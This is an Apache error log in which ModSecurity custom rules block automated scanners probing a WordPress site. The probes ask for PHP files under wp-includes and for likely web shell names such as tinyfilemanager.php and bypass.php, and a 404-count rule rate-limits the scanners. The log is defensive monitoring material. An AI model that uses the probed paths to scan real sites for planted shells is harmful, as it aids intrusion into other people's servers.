[Thu Apr 09 16:10:09.421385 2026] [:error] [pid 18477:tid 18490] [client 216.24.210.11:63475] [client 216.24.210.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "adde4cDe826HlFeoLPI9XQAAAUs"]
[Thu Apr 09 16:10:10.740966 2026] [:error] [pid 18477:tid 18498] [client 216.24.210.67:46081] [client 216.24.210.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.67, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "adde4sDe826HlFeoLPI9YgAAAVM"]
[Thu Apr 09 16:10:10.744658 2026] [:error] [pid 18477:tid 18498] [client 216.24.210.67:46081] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php
[Thu Apr 09 16:10:10.780305 2026] [:error] [pid 24927:tid 24944] [client 20.215.65.153:64211] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "adde4jXObuzEuw8mNJuh3gAAAQ4"]
[Thu Apr 09 16:10:10.925769 2026] [:error] [pid 18477:tid 18488] [client 216.24.210.67:46081] [client 216.24.210.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "adde4sDe826HlFeoLPI9YwAAAUk"]
[Thu Apr 09 16:10:11.352557 2026] [:error] [pid 24927:tid 24942] [client 20.215.65.153:65493] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "adde4zXObuzEuw8mNJuh4AAAAQw"]
[Thu Apr 09 16:10:11.973769 2026] [:error] [pid 24624:tid 24638] [client 20.215.65.153:64866] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "adde4-4Jn-WvK1ZBTviV4AAAAMw"]
[Thu Apr 09 16:10:12.137518 2026] [:error] [pid 24927:tid 24953] [client 216.24.210.39:31057] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Thu Apr 09 16:10:12.312923 2026] [:error] [pid 24927:tid 24939] [client 216.24.210.39:31057] [client 216.24.210.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "adde5DXObuzEuw8mNJuh5AAAAQk"]
[Thu Apr 09 16:10:12.583505 2026] [:error] [pid 20837:tid 20839] [client 20.215.65.153:65516] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "adde5PSL71FHZkjrGzOwCQAAAYA"]
[Thu Apr 09 16:10:12.877598 2026] [:error] [pid 24927:tid 24936] [client 216.24.210.22:27175] [client 216.24.210.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/network.php"] [unique_id "adde5DXObuzEuw8mNJuh5gAAAQY"]
[Thu Apr 09 16:10:13.324779 2026] [:error] [pid 24515:tid 24540] [client 20.215.65.153:64858] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "adde5a1OMnvM2fMnB1NOEwAAABU"]
[Thu Apr 09 16:10:13.656448 2026] [:error] [pid 24516:tid 24563] [client 216.24.210.22:22255] File does not exist: /usr/local/apache/htdocs/suspended-page/page.php
[Thu Apr 09 16:10:13.937345 2026] [:error] [pid 24517:tid 24597] [client 20.215.65.153:62397] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "adde5XboYEn2ZFM_PS9fjAAAAJc"]
[Thu Apr 09 16:10:14.529348 2026] [:error] [pid 18477:tid 18497] [client 20.215.65.153:64935] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "adde5sDe826HlFeoLPI9ZwAAAVI"]
[Thu Apr 09 16:10:15.112044 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:64890] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "adde58De826HlFeoLPI9aQAAAUU"]
[Thu Apr 09 16:10:15.294086 2026] [:error] [pid 24516:tid 24555] [client 216.24.210.22:22255] [client 216.24.210.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "adde59hW7vSS-UkeWCUHvAAAAEg"]
[Thu Apr 09 16:10:15.702786 2026] [:error] [pid 20837:tid 20845] [client 216.24.210.22:44253] [client 216.24.210.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "adde5_SL71FHZkjrGzOwDAAAAYY"]
[Thu Apr 09 16:10:16.209606 2026] [:error] [pid 24624:tid 24643] [client 20.215.65.153:63648] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "adde6O4Jn-WvK1ZBTviV5wAAANE"]
[Thu Apr 09 16:10:16.916563 2026] [:error] [pid 20837:tid 20862] [client 20.215.65.153:63558] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "adde6PSL71FHZkjrGzOwDwAAAZc"]
[Thu Apr 09 16:10:17.500969 2026] [:error] [pid 18477:tid 18499] [client 20.215.65.153:64851] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "adde6cDe826HlFeoLPI9bAAAAVQ"]
[Thu Apr 09 16:10:18.169625 2026] [:error] [pid 20837:tid 20858] [client 216.24.210.8:60069] [client 216.24.210.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "adde6vSL71FHZkjrGzOwFAAAAZM"]
[Thu Apr 09 16:10:18.389627 2026] [:error] [pid 18477:tid 18490] [client 20.215.65.153:64839] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "adde6sDe826HlFeoLPI9bgAAAUs"]
[Thu Apr 09 16:10:18.843048 2026] [:error] [pid 18477:tid 18482] [client 173.239.218.18:32923] [client 173.239.218.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "adde6sDe826HlFeoLPI9bwAAAUM"]
[Thu Apr 09 16:10:19.089717 2026] [:error] [pid 18477:tid 18487] [client 20.215.65.153:63097] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "adde68De826HlFeoLPI9cQAAAUg"]
[Thu Apr 09 16:10:19.743309 2026] [:error] [pid 24515:tid 24537] [client 216.24.210.67:34101] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/gecko-old.php
[Thu Apr 09 16:10:19.770875 2026] [:error] [pid 20837:tid 20859] [client 20.215.65.153:65475] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "adde6_SL71FHZkjrGzOwFQAAAZQ"]
[Thu Apr 09 16:10:19.968448 2026] [:error] [pid 24515:tid 24525] [client 216.24.210.67:34101] [client 216.24.210.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.67, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "adde661OMnvM2fMnB1NOGAAAAAY"]
[Thu Apr 09 16:10:20.319688 2026] [:error] [pid 24515:tid 24521] [client 216.24.210.67:34101] [client 216.24.210.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "adde7K1OMnvM2fMnB1NOGgAAAAI"]
[Thu Apr 09 16:10:20.375777 2026] [:error] [pid 20837:tid 20853] [client 20.215.65.153:64903] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "adde7PSL71FHZkjrGzOwFwAAAY4"]
[Thu Apr 09 16:10:20.974704 2026] [:error] [pid 24515:tid 24523] [client 20.215.65.153:63642] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adde7K1OMnvM2fMnB1NOHAAAAAQ"]
[Thu Apr 09 16:10:22.003902 2026] [:error] [pid 24515:tid 24526] [client 20.215.65.153:65476] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adde7q1OMnvM2fMnB1NOIQAAAAc"]
[Thu Apr 09 16:10:22.329709 2026] [:error] [pid 24515:tid 24536] [client 216.24.210.3:55157] [client 216.24.210.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "adde7q1OMnvM2fMnB1NOJgAAABE"]
[Thu Apr 09 16:10:22.707430 2026] [:error] [pid 24624:tid 24649] [client 20.215.65.153:65486] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adde7u4Jn-WvK1ZBTviV7wAAANc"]
[Thu Apr 09 16:10:22.978249 2026] [:error] [pid 24516:tid 24567] [client 216.24.210.25:51857] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Thu Apr 09 16:10:23.173159 2026] [:error] [pid 24516:tid 24566] [client 216.24.210.25:51857] [client 216.24.210.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "adde79hW7vSS-UkeWCUHvgAAAFM"]
[Thu Apr 09 16:10:23.532328 2026] [:error] [pid 24516:tid 24560] [client 20.215.65.153:64835] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adde79hW7vSS-UkeWCUHvwAAAE0"]
[Thu Apr 09 16:10:24.326456 2026] [:error] [pid 24927:tid 24944] [client 216.24.210.22:61401] [client 216.24.210.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "adde8DXObuzEuw8mNJuh7AAAAQ4"]
[Thu Apr 09 16:10:24.576119 2026] [:error] [pid 18477:tid 18496] [client 20.215.65.153:63059] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adde8MDe826HlFeoLPI9dgAAAVE"]
[Thu Apr 09 16:10:25.218053 2026] [:error] [pid 18477:tid 18503] [client 216.24.210.12:55463] File does not exist: /usr/local/apache/htdocs/suspended-page/shop.php
[Thu Apr 09 16:10:25.743176 2026] [:error] [pid 18477:tid 18502] [client 216.24.210.12:55463] [client 216.24.210.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "adde8cDe826HlFeoLPI9fAAAAVc"]
[Thu Apr 09 16:10:26.023492 2026] [:error] [pid 18477:tid 18483] [client 20.215.65.153:64247] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adde8sDe826HlFeoLPI9fgAAAUQ"]
[Thu Apr 09 16:10:26.776454 2026] [:error] [pid 18477:tid 18496] [client 216.24.210.4:30637] [client 216.24.210.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "adde8sDe826HlFeoLPI9hgAAAVE"]
[Thu Apr 09 16:10:26.797065 2026] [:error] [pid 18477:tid 18486] [client 20.215.65.153:65509] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adde8sDe826HlFeoLPI9hwAAAUc"]
[Thu Apr 09 16:10:27.275160 2026] [:error] [pid 24927:tid 24945] [client 173.239.218.20:28851] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-api.php
[Thu Apr 09 16:10:27.434675 2026] [:error] [pid 24927:tid 24946] [client 20.215.65.153:63631] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adde8zXObuzEuw8mNJuh9AAAARA"]
[Thu Apr 09 16:10:27.645688 2026] [:error] [pid 24927:tid 24943] [client 173.239.218.20:28851] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Thu Apr 09 16:10:28.052473 2026] [:error] [pid 24927:tid 24940] [client 173.239.218.20:28851] [client 173.239.218.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "adde9DXObuzEuw8mNJuh-AAAAQo"]
[Thu Apr 09 16:10:28.121391 2026] [:error] [pid 24927:tid 24937] [client 20.215.65.153:63561] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adde9DXObuzEuw8mNJuh-QAAAQc"]
[Thu Apr 09 16:10:28.690182 2026] [:error] [pid 24927:tid 24954] [client 216.24.210.67:22789] [client 216.24.210.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "adde9DXObuzEuw8mNJuh-gAAARg"]
[Thu Apr 09 16:10:28.744999 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:65490] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adde9MDe826HlFeoLPI9igAAAUU"]
[Thu Apr 09 16:10:29.239711 2026] [:error] [pid 24515:tid 24535] [client 216.24.210.45:37297] [client 216.24.210.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/count.php"] [unique_id "adde9a1OMnvM2fMnB1NOLgAAABA"]
[Thu Apr 09 16:10:29.556878 2026] [:error] [pid 24515:tid 24538] [client 20.215.65.153:64284] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adde9a1OMnvM2fMnB1NOMAAAABM"]
[Thu Apr 09 16:10:30.139932 2026] [:error] [pid 24515:tid 24520] [client 20.215.65.153:62418] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adde9q1OMnvM2fMnB1NONAAAAAE"]
[Thu Apr 09 16:10:30.222465 2026] [:error] [pid 24624:tid 24644] [client 216.24.210.18:28009] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-error_log.php
[Thu Apr 09 16:10:30.772553 2026] [:error] [pid 18477:tid 18483] [client 20.215.65.153:63654] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "adde9sDe826HlFeoLPI9jAAAAUQ"]
[Thu Apr 09 16:10:31.412055 2026] [:error] [pid 24624:tid 24643] [client 216.24.210.18:28009] [client 216.24.210.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "adde9-4Jn-WvK1ZBTviV-wAAANE"]
[Thu Apr 09 16:10:31.457628 2026] [:error] [pid 18477:tid 18490] [client 20.215.65.153:65473] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "adde98De826HlFeoLPI9jQAAAUs"]
[Thu Apr 09 16:10:32.054485 2026] [:error] [pid 24515:tid 24529] [client 20.215.65.153:64276] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "adde-K1OMnvM2fMnB1NOOAAAAAo"]
[Thu Apr 09 16:10:32.683640 2026] [:error] [pid 18477:tid 18479] [client 20.215.65.153:62452] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "adde-MDe826HlFeoLPI9kgAAAUA"]
